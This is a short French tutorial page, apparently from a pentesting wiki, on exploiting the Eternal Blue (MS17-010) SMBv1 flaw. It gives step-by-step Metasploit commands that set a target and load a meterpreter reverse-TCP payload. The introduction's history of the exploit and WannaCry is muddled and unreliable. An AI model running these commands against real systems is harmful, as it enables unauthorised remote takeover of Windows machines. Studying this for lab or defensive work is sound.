[Exploitation/Windows] Eternal Blue

Introduction

L'exploit **Eternal Blue** a été développé par la NSA en 2017. Il fait suite à l'exploitation de la vulnérabilité **MS17-010** lors de la campagne de Ransomware Wannacry.

La faille est présente dans la v1 du protcole SMB et permet notamment une RCE.

Exploitation avec Metasploit

- Tout d'abord lancez la console **Metasploit** :

```
msfconsole
```

- Sélectionnez l'exploit :

```
use exploit/windows/smb/ms17_010_eternalblue
```

- Définissez les options :

```
set rhosts <TARGET_IP>
```

```
set lhost <LOCAL_IP>
```

```
set lport <PORT>
```

```
set payload windows/x64/meterpreter/reverse_tcp
```

- Puis lancez l'exploit :

```
run
```

Revision #2
Created 12 December 2023 10:34:01 by Elieroc
Updated 3 May 2024 13:11:57 by Elieroc